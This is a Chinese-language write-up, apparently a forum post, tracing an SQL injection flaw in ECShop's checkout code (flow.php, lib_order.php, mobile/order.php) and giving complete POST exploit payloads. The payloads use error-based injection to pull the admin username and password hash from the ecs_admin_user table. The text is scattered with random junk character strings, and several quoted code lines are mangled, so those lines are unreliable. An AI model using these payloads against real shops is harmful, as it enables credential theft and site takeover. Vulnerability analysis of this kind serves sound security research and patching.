ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

" k3 N5 k9 u' b4 i" I8 ]    漏洞关键文件：
: ^0 J2 V& p: p3 s0 m
( p1 Q( }7 f9 E0 Y& I8 Q0 f    /includes/lib_order.php

    关键函数：
: M* F) c- s/ o- q6 }3 X1 S; v

) o; Y; X# p# x+ c: D( f" B2 `
01     function available_shipping_list($region_id_list)
# G6 H4 `# A, {* O) p) w* g
02 {

, U0 G4 }0 \2 s03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
( D) R6 F$ f' u( w# z/ ~# R
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
3 _3 b, r( f+ C  o. Y( N0 i1 Z
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
  e& S2 S2 }& T4 e9 M. o& C+ W
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
6 A) m# S. d" n; Z" U0 d. k
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
  |1 ~; N1 H% ^) n! z' b
10   
' f* y. ]) M4 R. ]
11     return $GLOBALS['db']->getAll($sql);
. K/ U2 A- Q; p; F1 y
12 }

显然对传入的参数没有任何过滤就带入了查询语句。

- O% Z+ {2 O* P下面我们追踪这个函数在flow.php中：
第531行：   
2 o( W1 f2 |8 V! m
$ K, d" T8 [4 e- F7 D1 $shipping_list     = available_shipping_list($region);
7 C  F4 @- y0 `* g! C) D


: h# J/ {! l  q5 e
: e) C; y* Q- j+ `  K$ W9 _
1 Y" o+ k$ B/ B0 }; i3 f* Q再对传入变量进行追踪：
- Z, Q' g# @& O( X$ \4 j" b7 A1 T
第530行：   
9 a. q: W" C' v8 [6 k3 ]; \' L2 b
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
7 G# G+ J, [& c8 x: q$ u& r

4 \6 s1 e% n8 V! j; Z9 S
/ R3 s" o0 K- G7 {' h3 F
  G- \" H* B; Z4 Z% F3 J( j' r4 W/ d
$ ?, D" \: m0 J4 b2 }2 c' Q# K第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);
4 A, h$ j0 d( w- b& s; X% k5 ]
, z! l7 ], T. S$ Q到了一个关键函数：
0 ~# G4 m& q9 [! J. `
/ G9 G9 t# z3 k/includes/lib_order.php
: c* d" e2 T$ h& Q7 T
1 S3 b- {0 T5 D( `. g
% M4 u3 N5 K( I9 S- F% y
5 ^: S" P8 V4 ^+ g
7 m2 j: T0 ^- z7 k: j0 I
. \+ n2 J" s  D* R" t8 D  S01 function get_consignee($user_id)

02 {

5 g9 j" A9 ?' V: c/ H1 R& N03     if (isset($_SESSION['flow_consignee']))
: x6 }+ v; G: |
# ]: N' e  d5 b7 Y6 E" J+ H04     {
+ _/ Y( r0 E  I
8 ^. X; G2 D3 x, z+ B05         /* 如果存在session，则直接返回session中的收货人信息 */

06   
# F* _. n: F! m1 R
! |$ e! w/ {! R: Q+ d07         return $_SESSION['flow_consignee'];
4 e3 r( _6 Z; y" ~3 ]: W/ t7 [: p
08     }

- o9 E  @! \5 T+ e! o; b7 c* r0 T2 n09     else

10     {

8 _% I) i2 c- }# y* \11         /* 如果不存在，则取得用户的默认收货人信息 */
, p. r; n0 e5 d0 G" V/ }
12         $arr = array();
9 m5 M+ P* A0 [
' z7 D1 \! R# h1 u13   
4 j/ X: U4 F# g  p
14         if ($user_id > 0)
- m/ j1 O$ I" c8 ^! `" s$ ]/ m
0 E/ |' E6 c. \/ ~15         {

  }9 g( l2 {8 i& d16             /* 取默认地址 */
+ e" h! j; y/ Z! g6 ?5 ~4 F
. [8 l( P: W. |0 a; P17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

) h9 Q9 n( b$ S& L* a' G' B$ Q5 l1 d$ h19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

  R  l9 a! X5 \% J3 z$ D( a' s20   

21             $arr = $GLOBALS['db']->getRow($sql);
, Z8 Z& L- _4 |& Y
8 I1 O$ A& d9 T6 c" k8 V' U. ?9 z" z22         }

23   
- X" v5 ^) X) k7 M
5 L, F) S  x8 g; g% B24         return $arr;

25     }
4 g8 F" @, B- h$ F
26 }
0 P, v8 v9 [7 w& H7 l
# c* M; S  P7 i* A0 q/ y# i显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
9 D& V" u: g2 o+ Z( ~/ E: L, Z5 p/ S
# g, `( ]' T3 R
5 O2 @4 M9 ~( Y" i  f
) i3 }; F0 S4 m5 O% L关键点:
- U5 J' ?7 Z% G3 a
第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
9 z9 V8 R; w- B/ ~
这里对传入参数反转义存入$_SESSION中。
; k+ d+ R; K+ k, E" L
, m( D$ s' A7 E" _" x6 a" ]- }

然后看下：
/ S- m+ M8 ~1 z' C/ z8 r* l

" Y2 X% E* l/ d5 m+ e  _7 [
   
+ n6 ?5 B9 s% H- z, v- p/ W- `
5 i5 p$ j- A8 I* I8 H% x01 $consignee = array(

+ k. B/ E  |" r# e4 j02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

0 E2 P, x7 K1 q" m0 o# t03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
9 s  x& D1 j3 s, }* f: _& |
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
- \4 N' }8 s3 @8 b: v' i* q8 j, O
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
- @4 S3 P: b9 m" z$ Y) [" i! @
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
3 B1 `( K- F: p- u. \
4 v9 M$ D! l- R) v7 Y2 O& s07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
. s% t) Z* ~) m0 c2 m6 Y9 c
; N6 V/ A2 P  @" m0 i  P08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
( v1 w4 N* t2 p
7 Z' M5 r  r+ r. c  d( W/ B& B3 j09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

2 W% d: Y9 m! B( q# ^- N3 ^10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

6 T( ^- L! l3 S& W$ t11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

5 O- B* R) T4 T7 b$ u12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

/ ~! ], f) I8 y/ U& w% Z# b6 g! r13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
2 J) V! q* u7 k
15     );
, k. I% g; K9 n1 C" `
; T+ Q9 \1 s8 y* w; _$ Y; V; K好了注入就这样出现了。

==================

注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
, @+ ^7 |( o. s* Y! @
测试程序：ECShop_V2.7.3_UTF8_release1106


# L6 A* z( F! Q) R( v
1.首先需要点击一个商品加入购物车

2.注册一个会员帐号
* v8 X) [2 Z( g! O" H. a
3.post提交数据

9 o5 ^1 }+ \- I6 k

1 http://127.0.0.1/ecshop/flow.php
" Y6 U* |- o) m) H0 s
" M+ r/ B+ |( @. |8 z2   
5 V# W: v! N; ~  [' x1 \
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()
; N$ Q- g$ z: w! b9 V+ a! z3 O: k
% Z' c3 F$ \& f) Q在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

  ~% v) Q6 V* r1 O- V7 y利用exp:
  u* M: u8 f4 r3 t4 K! O, f/ O
1.点击一个商品，点击购买商标

2.登录会员帐号

. X5 R, k0 O- o* @1 w6 u( _3.post提交：

http://127.0.0.1/ecshop/mobile/order.php


6 b4 [( x# _: c
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

% V. q3 D9 L2 f( d